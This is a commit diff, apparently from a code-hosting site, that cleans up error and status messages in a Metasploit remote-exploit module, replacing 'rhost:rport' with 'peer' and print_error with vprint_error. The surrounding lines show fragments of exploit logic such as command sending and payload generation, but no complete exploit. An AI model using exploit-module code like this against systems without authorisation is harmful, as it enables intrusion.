Fix errors printing
parent
c97cd75beb
commit
4b4b24b79d
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
vprint_error("#{peer} - Failed to connect to the web server")
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
print_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
vprint_error("#{peer} - Failed to connect to the web server")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
vprint_status("Sent command #{cmd}")
|
vprint_status("Sent command #{cmd}")
|
||||||
|
@ -197,17 +197,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
res = request(cmd)
|
res = request(cmd)
|
||||||
|
|
||||||
unless res
|
unless res
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown exploitation state")
|
print_status("#{peer} - Blind Exploitation - unknown exploitation state")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
@pl = generate_payload_exe
|
@pl = generate_payload_exe
|
||||||
|
|
||||||
unless @pl
|
unless @pl
|
||||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Please set payload before to run exploit.")
|
fail_with(Failure::BadConfig, "#{peer} - Please set payload before to run exploit.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue